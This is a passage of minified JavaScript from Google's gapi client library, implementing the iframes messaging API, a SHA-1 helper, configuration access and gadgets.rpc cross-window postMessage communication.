this.Ge[c];this.vC(b);c=b.getUrl();_.Ym(c,"No url for new iframe");var d=b.R.queryParams||{};d.usegapi="1";_.On(b,d);d=this.ZH&&this.ZH(c,b);d||(d=b.R.where,_.Ym(!!d,"No location for new iframe"),c=_.Kn(c,d,a),b.R.iframeEl=c,d=c.getAttribute("id"));_.jo(b,d).Zi(d);b.Nh(_.Xj.Qa(b.R.eurl||""));this.iJ&&this.iJ(b,b.Ha());c=this.uj(a);c.aD&&c.aD(c,a); (a=b.R.onCreate)&&a(c);b.R.disableRelayOpen||c.Yo("_open");return c}; var Co=function(a,b,c){var d=b.R.canvasUrl;if(!d)return c;_.Ym(!b.R.allowPost&&!b.R.forcePost,"Post is not supported when using canvas url");var e=b.getUrl();_.Ym(e&&_.Xj.Qa(e)===a.wd&&_.Xj.Qa(d)===a.wd,"Wrong origin for canvas or hidden url "+d);b.setUrl(d);_.Xn(b);b.R.canvasUrl=null;return function(a){var b=a.vb(),d=b.location.hash;d=_.Jn(e)+(/#/.test(e)?d.replace(/^#/,"&"):d);b.location.replace(d);c&&c(a)}},Eo=function(a,b,c){var d=b.R.relayOpen;if(d){var e=a.hb;d instanceof _.zo?(e=d,_.Pn(b,0)): 0<Number(d)&&_.Pn(b,Number(d)-1);if(e){_.Ym(!!e.VJ,"Relaying iframe open is disabled");if(d=b.zl())if(d=_.Do[d])b.qo(a),d(b.value()),b.qo(null);b.R.openerIframe=null;c.resolve(e.VJ(b));return!0}}return!1},Io=function(a,b,c){var d=b.zl();if(d)if(_.Ym(!!_.Fo,"Defer style is disabled, when requesting style "+d),_.Go[d])Bo(a,b);else return Ho(d,function(){_.Ym(!!_.Go[d],"Fail to load style - "+d);c.resolve(a.open(b.value()))}),!0;return!1}; _.yo.prototype.open=function(a,b){_.Ym(!this.Fb,"Cannot open iframe in disposed context");var c=new _.ho(a);b=Co(this,c,b);var d=new go(b);(b=c.getUrl())&&c.setUrl(_.Jn(b));if(Eo(this,c,d)||Io(this,c,d)||Eo(this,c,d))return d.promise;if(null!=Yn(c)){var e=(0,window.setTimeout)(function(){h.Ha().src="about:blank";d.reject({timeout:"Exceeded time limit of :"+Yn(c)+"milliseconds"})},Yn(c)),f=d.resolve;d.resolve=function(a){(0,window.clearTimeout)(e);f(a)}}c.R.waitForOnload&&Sn(c.hn(),function(){d.resolve(h)}); var h=this.Tg(a);c.R.waitForOnload||d.resolve(h);return d.promise};_.yo.prototype.pH=_.ea(13);_.zo=function(a,b,c,d){this.Fb=!1;this.Od=a;this.Ti=b;this.uf=c;this.ya=d;this.eo=_.lo(this.ya);this.wd=this.ya.Qa();this.jV=this.ya.Ha();this.OL=this.ya.R.where;this.Un=[];this.Yo("_default");a=this.ya.R.apis||[];for(b=0;b<a.length;b++)this.Yo(a[b]);this.Od.Ge[c]=this};_.g=_.zo.prototype;_.g.Dn=_.ea(2); _.g.Ca=function(){if(!this.Fb){for(var a=0;a<this.Un.length;a++)this.unregister(this.Un[a]);delete _.ao.Ge[this.Cd()];this.Fb=!0}};_.g.getContext=function(){return this.Od};_.g.xl=function(){return this.Ti};_.g.Cd=function(){return this.uf};_.g.Ha=function(){return this.jV};_.g.$a=function(){return this.OL};_.g.Ze=function(a){this.OL=a};_.g.$i=function(){(0,this.ya.R._rpcReadyFn)()};_.g.pL=function(a,b){this.ya.value()[a]=b};_.g.Mz=function(a){return this.ya.value()[a]};_.g.Ob=function(){return this.ya.value()}; _.g.ka=function(){return this.ya.ka()};_.g.Qa=function(){return this.wd};_.g.register=function(a,b,c){_.Ym(!this.Fb,"Cannot register handler on disposed iframe "+a);_.Ym((c||_.po)(this),"Rejecting untrusted message "+a);c=this.uf+":"+this.Od.uf+":"+a;1==_.Td(Zn,c,[]).push(b)&&(this.Un.push(a),_.wm(c,so(c,this,"_g_wasClosed"===a)))}; _.g.unregister=function(a,b){var c=this.uf+":"+this.Od.uf+":"+a,d=Zn[c];d&&(b?(b=_.Xm.call(d,b),0<=b&&d.splice(b,1)):d.splice(0,d.length),0==d.length&&(b=_.Xm.call(this.Un,a),0<=b&&this.Un.splice(b,1),_.xm(c)))};_.g.YS=function(){return this.Un};_.g.Yo=function(a){this.Dx=this.Dx||[];if(!(0<=_.Xm.call(this.Dx,a))){this.Dx.push(a);a=$n[a]||{map:{}};for(var b in a.map)_.Ud(a.map,b)&&this.register(b,a.map[b],a.filter)}}; _.g.send=function(a,b,c,d){_.Ym(!this.Fb,"Cannot send message to disposed iframe - "+a);_.Ym((d||_.po)(this),"Wrong target for message "+a);c=new go(c);_.Am(this.Ti,this.Od.uf+":"+this.uf+":"+a,c.resolve,b);return c.promise};_.Ao=function(a,b,c,d){return a.send(b,c,d,_.M)};_.zo.prototype.tX=function(a){return a};_.zo.prototype.ping=function(a,b){return _.Ao(this,"_g_ping",b,a)};Zn=_.D();$n=_.D();_.ao=new _.yo;_.vo("_g_rpcReady",_.zo.prototype.$i);_.vo("_g_discover",_.zo.prototype.YS); _.vo("_g_ping",_.zo.prototype.tX); var Ho,Bo;_.Go=_.D();_.Do=_.D();_.Fo=function(a){return _.Go[a]};Ho=function(a,b){_.Wd.load("gapi.iframes.style."+a,b)};Bo=function(a,b){var c=b.zl();if(c){b.Jd(null);var d=_.Go[c];_.Ym(d,"No such style: "+c);b.qo(a);d(b.value());b.qo(null)}};var Jo,Ko;Jo={height:!0,width:!0};Ko=/^(?!-*(?:expression|(?:moz-)?binding))(?:[.#]?-?(?:[_a-z0-9-]+)(?:-[_a-z0-9-]+)*-?|-?(?:[0-9]+(?:\.[0-9]*)?|\.[0-9]+)(?:[a-z]{1,2}|%)?|!important|)$/i;_.Lo=function(a){"number"===typeof a&&(a=String(a)+"px");return a};_.zo.prototype.vb=function(){if(!_.po(this))return null;var a=this.ya.R._popupWindow;if(a)return a;var b=this.Ti.split("/");a=this.getContext().vb();for(var c=0;c<b.length&&a;c++){var d=b[c];a=".."===d?a==a.parent?a.opener:a.parent:a.frames[d]}return a}; var Mo=function(a,b){var c=a.hb,d=!0;b.filter&&(d=b.filter.call(b.yf,b.params));return _.hh(d).then(function(d){return d&&c?(b.aK&&b.aK.call(a,b.params),d=b.sender?b.sender(b.params):_.Ao(c,b.message,b.params),b.S_?d.then(function(){return!0}):!0):!1})}; _.yo.prototype.dy=function(a,b,c){a=Mo(this,{sender:function(a){var b=_.ao.hb;_.co(_.ao.Ge,function(c){c!==b&&_.Ao(c,"_g_wasClosed",a)});return _.Ao(b,"_g_closeMe",a)},message:"_g_closeMe",params:a,yf:c,filter:this.Ez("onCloseSelfFilter")});b=new go(b);b.resolve(a);return b.promise};_.yo.prototype.sC=function(a,b,c){a=a||{};b=new go(b);b.resolve(Mo(this,{message:"_g_restyleMe",params:a,yf:c,filter:this.Ez("onRestyleSelfFilter"),S_:!0,aK:this.pM}));return b.promise}; _.yo.prototype.pM=function(a){"auto"===a.height&&(a.height=_.Jm.Xc())};_.No=function(a){var b={};if(a)for(var c in a)_.Ud(a,c)&&_.Ud(Jo,c)&&Ko.test(a[c])&&(b[c]=a[c]);return b};_.g=_.zo.prototype;_.g.close=function(a,b){return _.Ao(this,"_g_close",a,b)};_.g.tr=function(a,b){return _.Ao(this,"_g_restyle",a,b)};_.g.bo=function(a,b){return _.Ao(this,"_g_restyleDone",a,b)};_.g.rQ=function(a){return this.getContext().dy(a,void 0,this)}; _.g.tY=function(a){if(a&&"object"===typeof a)return this.getContext().sC(a,void 0,this)};_.g.uY=function(a){var b=this.ya.R.onRestyle;b&&b.call(this,a,this);a=a&&"object"===typeof a?_.No(a):{};(b=this.Ha())&&a&&"object"===typeof a&&(_.Ud(a,"height")&&(a.height=_.Lo(a.height)),_.Ud(a,"width")&&(a.width=_.Lo(a.width)),_.Vd(a,b.style))}; _.g.sQ=function(a){var b=this.ya.R.onClose;b&&b.call(this,a,this);this.WF&&this.WF()||(b=this.Ha())&&b.parentNode&&b.parentNode.removeChild(b);if(b=this.ya.R.controller){var c={};c.frameName=this.Cd();_.Ao(b,"_g_disposeControl",c)}ro(this.uf+":"+this.Od.uf+":_g_wasClosed",a,this)};_.yo.prototype.bL=_.ea(14);_.yo.prototype.rL=_.ea(15);_.zo.prototype.sK=_.ea(16);_.zo.prototype.ik=function(a,b){this.register("_g_wasClosed",a,b)}; _.zo.prototype.V_=function(){delete this.getContext().Ge[this.Cd()];this.getContext().vb().setTimeout((0,_.A)(function(){this.Ca()},this),0)};_.vo("_g_close",_.zo.prototype.rQ);_.vo("_g_closeMe",_.zo.prototype.sQ);_.vo("_g_restyle",_.zo.prototype.tY);_.vo("_g_restyleMe",_.zo.prototype.uY);_.vo("_g_wasClosed",_.zo.prototype.V_); var Vo,Yo,Zo,$o;_.Nn.prototype.oo=_.rc(11,function(a){this.R.apis=a;return this});_.Nn.prototype.tk=_.rc(10,function(a){this.R.rpctoken=a;return this});_.Oo=function(a){a.R.show=!0;return a};_.Po=function(a,b){a.R.where=b;return a};_.Qo=function(a,b){a.R.onClose=b};_.Ro=function(a,b){a.rel="stylesheet";a.href=_.Sc(b)};_.So=function(a){this.R=a||{}};_.So.prototype.value=function(){return this.R};_.So.prototype.getIframe=function(){return this.R.iframe};_.To=function(a,b){a.R.role=b;return a}; _.So.prototype.$i=function(a){this.R.setRpcReady=a;return this};_.So.prototype.tk=function(a){this.R.rpctoken=a;return this};_.Uo=function(a){a.R.selfConnect=!0;return a};Vo=function(a){this.R=a||{}};Vo.prototype.value=function(){return this.R};var Wo=function(a){var b=new Vo;b.R.role=a;return b};Vo.prototype.xH=function(){return this.R.role};Vo.prototype.Xb=function(a){this.R.handler=a;return this};Vo.prototype.Bb=function(){return this.R.handler};var Xo=function(a,b){a.R.filter=b;return a}; Vo.prototype.oo=function(a){this.R.apis=a;return this};Yo=function(a){a.R.runOnce=!0;return a};Zo=/^https?:\/\/[^\/%\\?#\s]+$/i;$o={longdesc:!0,name:!0,src:!0,frameborder:!0,marginwidth:!0,marginheight:!0,scrolling:!0,align:!0,height:!0,width:!0,id:!0,"class":!0,title:!0,tabindex:!0,hspace:!0,vspace:!0,allowtransparency:!0};_.ap=function(a,b,c){var d=a.Ti,e=b.eo;_.ko(_.jo(c,a.eo+"/"+b.Ti),e+"/"+d);_.io(c,b.Cd()).Nh(b.wd)};_.yo.prototype.fy=_.ea(17);_.g=_.zo.prototype; _.g.vQ=function(a){var b=new _.ho(a);a=new _.So(b.value());if(a.R.selfConnect)var c=this;else(_.Ym(Zo.test(b.Qa()),"Illegal origin for connected iframe - "+b.Qa()),c=this.Od.Ge[b.Cd()],c)?_.mo(b)&&(c.$i(),_.Ao(c,"_g_rpcReady")):(b=_.io(_.ko(_.jo((new _.ho).tk(_.Un(b)),b.xl()),_.lo(b)).Nh(b.Qa()),b.Cd()).$i(_.mo(b)),c=this.Od.uj(b.value()));b=this.Od;var d=a.R.role;a=a.R.data;bp(b);d=d||"";_.Td(b.hy,d,[]).push({yf:c.Cd(),data:a});cp(c,a,b.wB[d])}; _.g.aD=function(a,b){(new _.ho(b)).R._relayedDepth||(b={},_.Uo(_.To(new _.So(b),"_opener")),_.Ao(a,"_g_connect",b))}; _.g.VJ=function(a){var b=this,c=a.R.messageHandlers,d=a.R.messageHandlersFilter,e=a.R.onClose;_.Qo(_.Wn(_.Vn(a,null),null),null);_.mh();return _.Ao(this,"_g_open",a.value()).then(function(f){var h=new _.ho(f[0]),k=h.Cd();f=new _.ho;var l=b.eo,n=_.lo(h);_.ko(_.jo(f,b.Ti+"/"+h.xl()),n+"/"+l);_.io(f,k);f.Nh(h.Qa());f.oo(h.R.apis);f.tk(_.Un(a));_.Vn(f,c);_.Wn(f,d);_.Qo(f,e);(h=b.Od.Ge[k])||(h=b.Od.uj(f.value()));return h})}; _.g.vC=function(a){var b=a.getUrl();_.Ym(!b||_.nn.test(b),"Illegal url for new iframe - "+b);var c=a.hn().value();b={};for(var d in c)_.Ud(c,d)&&_.Ud($o,d)&&(b[d]=c[d]);_.Ud(c,"style")&&(d=c.style,"object"===typeof d&&(b.style=_.No(d)));a.value().attributes=b}; _.g.gX=function(a){a=new _.ho(a);this.vC(a);var b=a.R._relayedDepth||0;a.R._relayedDepth=b+1;a.R.openerIframe=this;_.mh();var c=_.Un(a);a.tk(null);return this.Od.open(a.value()).then((0,_.A)(function(a){var d=(new _.ho(a.Ob())).R.apis,f=new _.ho;_.ap(a,this,f);0==b&&_.To(new _.So(f.value()),"_opener");f.$i(!0);f.tk(c);_.Ao(a,"_g_connect",f.value());f=new _.ho;_.io(_.ko(_.jo(f.oo(d),a.xl()),a.eo),a.Cd()).Nh(a.Qa());return f.value()},this))};var bp=function(a){a.hy||(a.hy=_.D(),a.wB=_.D())}; _.yo.prototype.xx=function(a,b,c,d){bp(this);"object"===typeof a?(b=new Vo(a),c=b.xH()||""):(b=Xo(Wo(a).Xb(b).oo(c),d),c=a);d=this.hy[c]||[];a=!1;for(var e=0;e<d.length&&!a;e++)cp(this.Ge[d[e].yf],d[e].data,[b]),a=b.R.runOnce;c=_.Td(this.wB,c,[]);a||b.R.dontWait||c.push(b)};_.yo.prototype.vK=_.ea(18); var cp=function(a,b,c){c=c||[];for(var d=0;d<c.length;d++){var e=c[d];if(e&&a){var f=e.R.filter||_.po;if(a&&f(a)){f=e.R.apis||[];for(var h=0;h<f.length;h++)a.Yo(f[h]);e.Bb()&&e.Bb()(a,b);e.R.runOnce&&(c.splice(d,1),--d)}}}};_.yo.prototype.sj=function(a,b,c){this.xx(Yo(Xo(Wo("_opener").Xb(a).oo(b),c)).value())};_.zo.prototype.sY=function(a){this.getContext().sj(function(b){b.send("_g_wasRestyled",a,void 0,_.M)},null,_.M)};var dp=_.ao.hb;dp&&dp.register("_g_restyleDone",_.zo.prototype.sY,_.M); _.vo("_g_connect",_.zo.prototype.vQ);var ep={};ep._g_open=_.zo.prototype.gX;_.to("_open",ep,_.M); _.w("gapi.iframes.create",_.Kn); _.zo.prototype.sK=_.rc(16,function(a,b){this.register("_g_wasRestyled",a,b)});_.g=_.yo.prototype;_.g.rL=_.rc(15,function(a){this.gw("onRestyleSelfFilter",a)});_.g.bL=_.rc(14,function(a){this.gw("onCloseSelfFilter",a)});_.g.pH=_.rc(13,function(){return this.hb});_.g.gw=_.rc(12,function(a,b){this.bK[a]=b});_.g.Dn=_.rc(3,function(){return this.Fb});_.zo.prototype.Dn=_.rc(2,function(){return this.Fb});_.w("gapi.iframes.registerStyle",function(a,b){_.Go[a]=b}); _.w("gapi.iframes.registerBeforeOpenStyle",function(a,b){_.Do[a]=b});_.w("gapi.iframes.getStyle",_.Fo);_.w("gapi.iframes.getBeforeOpenStyle",function(a){return _.Do[a]});_.w("gapi.iframes.registerIframesApi",_.to);_.w("gapi.iframes.registerIframesApiHandler",_.uo);_.w("gapi.iframes.getContext",_.wo);_.w("gapi.iframes.SAME_ORIGIN_IFRAMES_FILTER",_.po);_.w("gapi.iframes.CROSS_ORIGIN_IFRAMES_FILTER",_.M);_.w("gapi.iframes.makeWhiteListIframesFilter",_.qo);_.w("gapi.iframes.Context",_.yo); _.w("gapi.iframes.Context.prototype.isDisposed",_.yo.prototype.Dn);_.w("gapi.iframes.Context.prototype.getWindow",_.yo.prototype.vb);_.w("gapi.iframes.Context.prototype.getFrameName",_.yo.prototype.Cd);_.w("gapi.iframes.Context.prototype.getGlobalParam",_.yo.prototype.Ez);_.w("gapi.iframes.Context.prototype.setGlobalParam",_.yo.prototype.gw);_.w("gapi.iframes.Context.prototype.open",_.yo.prototype.open);_.w("gapi.iframes.Context.prototype.openChild",_.yo.prototype.Tg); _.w("gapi.iframes.Context.prototype.getParentIframe",_.yo.prototype.pH);_.w("gapi.iframes.Context.prototype.closeSelf",_.yo.prototype.dy);_.w("gapi.iframes.Context.prototype.restyleSelf",_.yo.prototype.sC);_.w("gapi.iframes.Context.prototype.setCloseSelfFilter",_.yo.prototype.bL);_.w("gapi.iframes.Context.prototype.setRestyleSelfFilter",_.yo.prototype.rL);_.w("gapi.iframes.Iframe",_.zo);_.w("gapi.iframes.Iframe.prototype.isDisposed",_.zo.prototype.Dn); _.w("gapi.iframes.Iframe.prototype.getContext",_.zo.prototype.getContext);_.w("gapi.iframes.Iframe.prototype.getFrameName",_.zo.prototype.Cd);_.w("gapi.iframes.Iframe.prototype.getId",_.zo.prototype.ka);_.w("gapi.iframes.Iframe.prototype.register",_.zo.prototype.register);_.w("gapi.iframes.Iframe.prototype.unregister",_.zo.prototype.unregister);_.w("gapi.iframes.Iframe.prototype.send",_.zo.prototype.send);_.w("gapi.iframes.Iframe.prototype.applyIframesApi",_.zo.prototype.Yo); _.w("gapi.iframes.Iframe.prototype.getIframeEl",_.zo.prototype.Ha);_.w("gapi.iframes.Iframe.prototype.getSiteEl",_.zo.prototype.$a);_.w("gapi.iframes.Iframe.prototype.setSiteEl",_.zo.prototype.Ze);_.w("gapi.iframes.Iframe.prototype.getWindow",_.zo.prototype.vb);_.w("gapi.iframes.Iframe.prototype.getOrigin",_.zo.prototype.Qa);_.w("gapi.iframes.Iframe.prototype.close",_.zo.prototype.close);_.w("gapi.iframes.Iframe.prototype.restyle",_.zo.prototype.tr); _.w("gapi.iframes.Iframe.prototype.restyleDone",_.zo.prototype.bo);_.w("gapi.iframes.Iframe.prototype.registerWasRestyled",_.zo.prototype.sK);_.w("gapi.iframes.Iframe.prototype.registerWasClosed",_.zo.prototype.ik);_.w("gapi.iframes.Iframe.prototype.getParam",_.zo.prototype.Mz);_.w("gapi.iframes.Iframe.prototype.setParam",_.zo.prototype.pL);_.w("gapi.iframes.Iframe.prototype.ping",_.zo.prototype.ping); var LM=function(a,b){a.R.data=b;return a};_.yo.prototype.vK=_.rc(18,function(a,b){a=_.Td(this.wB,a,[]);if(b)for(var c=0,d=!1;!d&&c<a.length;c++)a[c].Oe===b&&(d=!0,a.splice(c,1));else a.splice(0,a.length)}); _.yo.prototype.fy=_.rc(17,function(a,b){a=new _.So(a);var c=new _.So(b),d=_.mo(a);b=a.getIframe();var e=c.getIframe();if(e){var f=_.Un(a),h=new _.ho;_.ap(b,e,h);LM(_.To((new _.So(h.value())).tk(f),a.R.role),a.R.data).$i(d);var k=new _.ho;_.ap(e,b,k);LM(_.To((new _.So(k.value())).tk(f),c.R.role),c.R.data).$i(!0);_.Ao(b,"_g_connect",h.value(),function(){d||_.Ao(e,"_g_connect",k.value())});d&&_.Ao(e,"_g_connect",k.value())}else c={},LM(_.To(_.Uo(new _.So(c)),a.R.role),a.R.data),_.Ao(b,"_g_connect",c)}); _.w("gapi.iframes.Context.prototype.addOnConnectHandler",_.yo.prototype.xx);_.w("gapi.iframes.Context.prototype.removeOnConnectHandler",_.yo.prototype.vK);_.w("gapi.iframes.Context.prototype.addOnOpenerHandler",_.yo.prototype.sj);_.w("gapi.iframes.Context.prototype.connectIframes",_.yo.prototype.fy); _.ak=window.googleapis&&window.googleapis.server||{}; (function(){function a(a,b){if(!(a<c)&&d)if(2===a&&d.warn)d.warn(b);else if(3===a&&d.error)try{d.error(b)}catch(h){}else d.log&&d.log(b)}var b=function(b){a(1,b)};_.Ra=function(b){a(2,b)};_.Sa=function(b){a(3,b)};_.oe=function(){};b.INFO=1;b.WARNING=2;b.NONE=4;var c=1,d=window.console?window.console:window.opera?window.opera.postError:void 0;return b})(); _.pe=function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(_.Wa(d)){var e=a.length||0,f=d.length||0;a.length=e+f;for(var h=0;h<f;h++)a[e+h]=d[h]}else a.push(d)}}; _.I=_.I||{};_.I.Hs=function(a,b,c,d){"undefined"!=typeof a.addEventListener?a.addEventListener(b,c,d):"undefined"!=typeof a.attachEvent?a.attachEvent("on"+b,c):_.Ra("cannot attachBrowserEvent: "+b)};_.I.VX=function(a){var b=window;b.removeEventListener?b.removeEventListener("mousemove",a,!1):b.detachEvent?b.detachEvent("onmousemove",a):_.Ra("cannot removeBrowserEvent: mousemove")}; _.bk=function(){function a(){e[0]=1732584193;e[1]=4023233417;e[2]=2562383102;e[3]=271733878;e[4]=3285377520;p=n=0}function b(a){for(var b=h,c=0;64>c;c+=4)b[c/4]=a[c]<<24|a[c+1]<<16|a[c+2]<<8|a[c+3];for(c=16;80>c;c++)a=b[c-3]^b[c-8]^b[c-14]^b[c-16],b[c]=(a<<1|a>>>31)&4294967295;a=e[0];var d=e[1],f=e[2],k=e[3],l=e[4];for(c=0;80>c;c++){if(40>c)if(20>c){var n=k^d&(f^k);var p=1518500249}else n=d^f^k,p=1859775393;else 60>c?(n=d&f|k&(d|f),p=2400959708):(n=d^f^k,p=3395469782);n=((a<<5|a>>>27)&4294967295)+ n+l+p+b[c]&4294967295;l=k;k=f;f=(d<<30|d>>>2)&4294967295;d=a;a=n}e[0]=e[0]+a&4294967295;e[1]=e[1]+d&4294967295;e[2]=e[2]+f&4294967295;e[3]=e[3]+k&4294967295;e[4]=e[4]+l&4294967295}function c(a,c){if("string"===typeof a){a=(0,window.unescape)((0,window.encodeURIComponent)(a));for(var d=[],e=0,h=a.length;e<h;++e)d.push(a.charCodeAt(e));a=d}c||(c=a.length);d=0;if(0==n)for(;d+64<c;)b(a.slice(d,d+64)),d+=64,p+=64;for(;d<c;)if(f[n++]=a[d++],p++,64==n)for(n=0,b(f);d+64<c;)b(a.slice(d,d+64)),d+=64,p+=64} function d(){var a=[],d=8*p;56>n?c(k,56-n):c(k,64-(n-56));for(var h=63;56<=h;h--)f[h]=d&255,d>>>=8;b(f);for(h=d=0;5>h;h++)for(var l=24;0<=l;l-=8)a[d++]=e[h]>>l&255;return a}for(var e=[],f=[],h=[],k=[128],l=1;64>l;++l)k[l]=0;var n,p;a();return{reset:a,update:c,digest:d,Ig:function(){for(var a=d(),b="",c=0;c<a.length;c++)b+="0123456789ABCDEF".charAt(Math.floor(a[c]/16))+"0123456789ABCDEF".charAt(a[c]%16);return b}}}; _.ck=function(){function a(a){var b=_.bk();b.update(a);return b.Ig()}var b=window.crypto;if(b&&"function"==typeof b.getRandomValues)return function(){var a=new window.Uint32Array(1);b.getRandomValues(a);return Number("0."+a[0])};var c=_.H("random/maxObserveMousemove");null==c&&(c=-1);var d=0,e=Math.random(),f=1,h=1E6*(window.screen.width*window.screen.width+window.screen.height),k=function(a){a=a||window.event;var b=a.screenX+a.clientX<<16;b+=a.screenY+a.clientY;b*=(new Date).getTime()%1E6;f=f*b% h;0<c&&++d==c&&_.I.VX(k)};0!=c&&_.I.Hs(window,"mousemove",k,!1);var l=a(window.document.cookie+"|"+window.document.location+"|"+(new Date).getTime()+"|"+e);return function(){var b=f;b+=(0,window.parseInt)(l.substr(0,20),16);l=a(l);return b/(h+Math.pow(16,20))}}(); _.w("shindig.random",_.ck); _.I=_.I||{};(function(){var a=[];_.I.P9=function(b){a.push(b)};_.I.c$=function(){for(var b=0,c=a.length;b<c;++b)a[b]()}})(); _.we=function(){var a=window.gadgets&&window.gadgets.config&&window.gadgets.config.get;a&&_.le(a());return{register:function(a,c,d){d&&d(_.H())},get:function(a){return _.H(a)},update:function(a,c){if(c)throw"Config replacement is not supported";_.le(a)},Pb:function(){}}}(); _.w("gadgets.config.register",_.we.register);_.w("gadgets.config.get",_.we.get);_.w("gadgets.config.init",_.we.Pb);_.w("gadgets.config.update",_.we.update); var jf;_.gf=function(){var a=_.Qd.readyState;return"complete"===a||"interactive"===a&&-1==window.navigator.userAgent.indexOf("MSIE")};_.hf=function(a){if(_.gf())a();else{var b=!1,c=function(){if(!b)return b=!0,a.apply(this,arguments)};_.Nd.addEventListener?(_.Nd.addEventListener("load",c,!1),_.Nd.addEventListener("DOMContentLoaded",c,!1)):_.Nd.attachEvent&&(_.Nd.attachEvent("onreadystatechange",function(){_.gf()&&c.apply(this,arguments)}),_.Nd.attachEvent("onload",c))}};jf=jf||{};jf.HK=null; jf.zJ=null;jf.uu=null;jf.frameElement=null; jf=jf||{}; jf.ZD||(jf.ZD=function(){function a(a,b,c){"undefined"!=typeof window.addEventListener?window.addEventListener(a,b,c):"undefined"!=typeof window.attachEvent&&window.attachEvent("on"+a,b);"message"===a&&(window.___jsl=window.___jsl||{},a=window.___jsl,a.RPMQ=a.RPMQ||[],a.RPMQ.push(b))}function b(a){var b=_.cf(a.data);if(b&&b.f){(0,_.oe)("gadgets.rpc.receive("+window.name+"): "+a.data);var d=_.K.Bl(b.f);e&&("undefined"!==typeof a.origin?a.origin!==d:a.domain!==/^.+:\/\/([^:]+).*/.exec(d)[1])?_.Sa("Invalid rpc message origin. "+ d+" vs "+(a.origin||"")):c(b,a.origin)}}var c,d,e=!0;return{ZG:function(){return"wpm"},RV:function(){return!0},Pb:function(f,h){_.we.register("rpc",null,function(a){"true"===String((a&&a.rpc||{}).disableForceSecure)&&(e=!1)});c=f;d=h;a("message",b,!1);d("..",!0);return!0},Dc:function(a){d(a,!0);return!0},call:function(a,b,c){var d=_.K.Bl(a),e=_.K.bF(a);d?window.setTimeout(function(){var a=_.df(c);(0,_.oe)("gadgets.rpc.send("+window.name+"): "+a);e.postMessage(a,d)},0):".."!=a&&_.Sa("No relay set (used as window.postMessage targetOrigin), cannot send cross-domain message"); return!0}}}()); if(window.gadgets&&window.gadgets.rpc)"undefined"!=typeof _.K&&_.K||(_.K=window.gadgets.rpc,_.K.config=_.K.config,_.K.register=_.K.register,_.K.unregister=_.K.unregister,_.K.qK=_.K.registerDefault,_.K.oM=_.K.unregisterDefault,_.K.RG=_.K.forceParentVerifiable,_.K.call=_.K.call,_.K.kq=_.K.getRelayUrl,_.K.Ph=_.K.setRelayUrl,_.K.ew=_.K.setAuthToken,_.K.Hr=_.K.setupReceiver,_.K.fl=_.K.getAuthToken,_.K.kC=_.K.removeReceiver,_.K.uH=_.K.getRelayChannel,_.K.nK=_.K.receive,_.K.pK=_.K.receiveSameDomain,_.K.Qa= _.K.getOrigin,_.K.Bl=_.K.getTargetOrigin,_.K.bF=_.K._getTargetWin,_.K.xP=_.K._parseSiblingId);else{_.K=function(){function a(a,b){if(!aa[a]){var c=R;b||(c=ka);aa[a]=c;b=la[a]||[];for(var d=0;d<b.length;++d){var e=b[d];e.t=G[a];c.call(a,e.f,e)}la[a]=[]}}function b(){function a(){Ga=!0}N||("undefined"!=typeof window.addEventListener?window.addEventListener("unload",a,!1):"undefined"!=typeof window.attachEvent&&window.attachEvent("onunload",a),N=!0)}function c(a,c,d,e,f){G[c]&&G[c]===d||(_.Sa("Invalid gadgets.rpc token. "+ G[c]+" vs "+d),ua(c,2));f.onunload=function(){J[c]&&!Ga&&(ua(c,1),_.K.kC(c))};b();e=_.cf((0,window.decodeURIComponent)(e))}function d(b,c){if(b&&"string"===typeof b.s&&"string"===typeof b.f&&b.a instanceof Array)if(G[b.f]&&G[b.f]!==b.t&&(_.Sa("Invalid gadgets.rpc token. "+G[b.f]+" vs "+b.t),ua(b.f,2)),"__ack"===b.s)window.setTimeout(function(){a(b.f,!0)},0);else{b.c&&(b.callback=function(a){_.K.call(b.f,(b.g?"legacy__":"")+"__cb",null,b.c,a)});if(c){var d=e(c);b.origin=c;var f=b.r;try{var h=e(f)}catch(Ha){}f&& h==d||(f=c);b.referer=f}c=(y[b.s]||y[""]).apply(b,b.a);b.c&&"undefined"!==typeof c&&_.K.call(b.f,"__cb",null,b.c,c)}}function e(a){if(!a)return"";a=a.split("#")[0].split("?")[0];a=a.toLowerCase();0==a.indexOf("//")&&(a=window.location.protocol+a);-1==a.indexOf("://")&&(a=window.location.protocol+"//"+a);var b=a.substring(a.indexOf("://")+3),c=b.indexOf("/");-1!=c&&(b=b.substring(0,c));a=a.substring(0,a.indexOf("://"));if("http"!==a&&"https"!==a&&"chrome-extension"!==a&&"file"!==a&&"android-app"!== a&&"chrome-search"!==a)throw Error("p");c="";var d=b.indexOf(":");if(-1!=d){var e=b.substring(d+1);b=b.substring(0,d);if("http"===a&&"80"!==e||"https"===a&&"443"!==e)c=":"+e}return a+"://"+b+c}function f(a){if("/"==a.charAt(0)){var b=a.indexOf("|");return{id:0<b?a.substring(1,b):a.substring(1),origin:0<b?a.substring(b+1):null}}return null}function h(a){if("undefined"===typeof a||".."===a)return window.parent;var b=f(a);if(b)return window.top.frames[b.id];a=String(a);return(b=window.frames[a])?b:(b= window.document.getElementById(a))&&b.contentWindow?b.contentWindow:null}function k(a,b){if(!0!==J[a]){"undefined"===typeof J[a]&&(J[a]=0);var c=h(a);".."!==a&&null==c||!0!==R.Dc(a,b)?!0!==J[a]&&10>J[a]++?window.setTimeout(function(){k(a,b)},500):(aa[a]=ka,J[a]=!0):J[a]=!0}}function l(a){(a=F[a])&&"/"===a.substring(0,1)&&(a="/"===a.substring(1,2)?window.document.location.protocol+a:window.document.location.protocol+"//"+window.document.location.host+a);return a}function n(a,b,c){b&&!/http(s)?:\/\/.+/.test(b)&& (0==b.indexOf("//")?b=window.location.protocol+b:"/"==b.charAt(0)?b=window.location.protocol+"//"+window.location.host+b:-1==b.indexOf("://")&&(b=window.location.protocol+"//"+b));F[a]=b;"undefined"!==typeof c&&(E[a]=!!c)}function p(a,b){b=b||"";G[a]=String(b);k(a,b)}function q(a){a=(a.passReferrer||"").split(":",2);za=a[0]||"none";pa=a[1]||"origin"}function t(b){"true"===String(b.useLegacyProtocol)&&(R=jf.uu||ka,R.Pb(d,a))}function x(a,b){function c(c){c=c&&c.rpc||{};q(c);var d=c.parentRelayUrl|| "";d=e(V.parent||b)+d;n("..",d,"true"===String(c.useLegacyProtocol));t(c);p("..",a)}!V.parent&&b?c({}):_.we.register("rpc",null,c)}function v(a,b,c){if(".."===a)x(c||V.rpctoken||V.ifpctok||"",b);else a:{var d=null;if("/"!=a.charAt(0)){if(!_.I)break a;d=window.document.getElementById(a);if(!d)throw 